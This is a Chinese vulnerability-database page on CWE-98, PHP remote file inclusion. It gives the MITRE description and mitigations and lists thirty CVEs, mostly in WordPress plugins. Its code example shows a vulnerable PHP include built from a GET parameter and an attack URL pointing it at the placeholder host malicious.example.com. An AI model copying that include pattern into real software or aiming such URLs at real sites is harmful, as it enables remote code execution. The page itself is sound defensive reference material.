目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1000

100.0%

CWE-98 PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含) 类漏洞列表 1083

CWE-98 PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含) 类弱点 1083 条 CVE 漏洞汇总,含 AI 中文分析。

CWE-98是PHP远程文件包含漏洞,源于程序未严格限制包含语句中的文件名输入。攻击者常通过构造恶意URL,诱导服务器加载并执行远程恶意代码,从而获取系统控制权。开发者应避免直接使用用户输入作为包含路径,需实施严格的白名单校验,禁用远程文件包含功能,并确保输入经过充分净化,以阻断此类攻击路径。

MITRE CWE 官方描述
CWE:CWE-98 PHP程序中包含/要求语句的文件名控制不当('PHP远程文件包含') 英文:PHP应用程序从上游组件接收输入,但在将其用于“require”、“include”或类似函数之前,未对输入进行限制或限制不正确。 在某些版本的PHP及其配置中,这允许攻击者指定一个指向远程位置的URL,产品将从该位置获取要执行的代码。在其他与路径遍历相关的情况下,攻击者可以指定一个可能包含可由PHP解析的可执行语句的本地文件。
常见影响 (1)
Integrity, Confidentiality, AvailabilityExecute Unauthorized Code or Commands
The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the f…
缓解措施 (5)
Architecture and DesignUse a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and DesignWhen the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Architecture and DesignFor any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, OperationRun the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, OperationRun your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
代码示例 (1)
The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
$dir = $_GET['module_name']; include($dir . "/function.php");
Bad · PHP
victim.php?module_name=http://malicious.example.com
Attack
CVE ID标题CVSS风险等级Published
CVE-2024-52428 WordPress plugin Ads Booster by Ads Pro 安全漏洞 — Ads Booster by Ads Pro 8.1 High2024-11-18
CVE-2024-52386 WordPress plugin Classified Listing 安全漏洞 — Classified Listing 5.3 Medium2024-11-16
CVE-2024-52381 WordPress plugin ZIJ KART 安全漏洞 — ZIJ KART 8.1 High2024-11-14
CVE-2024-10571 WordPress plugin Chartify – WordPress Chart Plugin 安全漏洞 — Chartify – WordPress Chart Plugin 9.8 Critical2024-11-14
CVE-2024-10871 WordPress plugin Category Ajax Filter 安全漏洞 — Category AJAX Filter – Advanced Filter for Posts & Custom Post Types 9.8 Critical2024-11-09
CVE-2024-10436 WordPress plugin WPC Smart Messages for WooCommerce 安全漏洞 — WPC Smart Messages for WooCommerce 8.8 High2024-10-29
CVE-2024-50434 WordPress plugin NewsCard 安全漏洞 — NewsCard 7.5 High2024-10-28
CVE-2024-50435 WordPress plugin Meta News 安全漏洞 — Meta News 7.5 High2024-10-28
CVE-2024-50436 WordPress plugin Clean Retina 安全漏洞 — Clean Retina 7.5 High2024-10-28
CVE-2024-50457 WordPress plugin Qode Essential Addons 安全漏洞 — Qode Essential Addons 7.5 High2024-10-28
CVE-2024-50497 WordPress plugin Advanced Online Ordering and Delivery Platform 安全漏洞 — Advanced Online Ordering and Delivery Platform 8.1 High2024-10-28
CVE-2024-8392 WordPress plugin Sogrid 安全漏洞 — WordPress Post Grid Layouts with Pagination – Sogrid 7.2 High2024-10-26
CVE-2024-49690 WordPress plugin Qi Blocks 安全漏洞 — Qi Blocks 7.5 High2024-10-23
CVE-2024-49701 WordPress plugin Mags 安全漏洞 — Mags 7.5 High2024-10-23
CVE-2024-49243 WordPress plugin Dynamic Elementor Addons 安全漏洞 — Dynamic Elementor Addons 7.5 High2024-10-18
CVE-2024-49317 WordPress plugin Point Maker 安全漏洞 — Point Maker 7.5 High2024-10-17
CVE-2024-48029 WordPress plugin SB Random Posts Widget 安全漏洞 — SB Random Posts Widget 7.5 High2024-10-16
CVE-2024-49251 WordPress plugin Maan Addons For Elementor 安全漏洞 — Maan Addons For Elementor 7.5 High2024-10-16
CVE-2024-9981 FormosaSoft ee-class 安全漏洞 — ee-class 8.8 High2024-10-15
CVE-2024-47323 WordPress plugin WP Timeline 安全漏洞 — WP Timeline – Vertical and Horizontal timeline plugin 8.1 High2024-10-05
CVE-2024-44023 WordPress plugin ABCApp Creator 路径遍历漏洞 — ABCApp Creator 8.1 High2024-10-05
CVE-2024-41925 Optigo ONS-S8 安全漏洞 — ONS-S8 Spectra Aggregation Switch 9.8 Critical2024-10-03
CVE-2024-44048 WordPress plugin Product Carousel Slider & Grid Ultimate for WooCommerce路径遍历漏洞 — Product Carousel Slider & Grid Ultimate for WooCommerce 6.5 Medium2024-09-23
CVE-2024-8252 WordPress plugin Clean Login 安全漏洞 — Clean Login 8.8 High2024-08-30
CVE-2024-5762 Zen Ventures Zen Cart 安全漏洞 — Zen Cart 9.8AICriticalAI2024-08-21
CVE-2024-43261 WordPress plugin Compute Links 安全漏洞 — Compute Links 9.6 Critical2024-08-19
CVE-2024-4359 WordPress plugin Element Pack Elementor Addons 安全漏洞 — Element Pack – Widgets, Templates & Addons for Elementor 6.5 Medium2024-08-09
CVE-2024-6589 WordPress plugin LearnPress 安全漏洞 — LearnPress – WordPress LMS Plugin for Create and Sell Online Courses 8.8 High2024-07-25
CVE-2024-38735 WordPress plugin Event post 路径遍历漏洞 — Event post 7.5 High2024-07-12
CVE-2024-37520 WordPress plugin ShopBuilder 路径遍历漏洞 — ShopBuilder – Elementor WooCommerce Builder Addons 6.5 Medium2024-07-09

CWE-98(PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)) 是常见的弱点类别,本平台收录该类弱点关联的 1083 条 CVE 漏洞。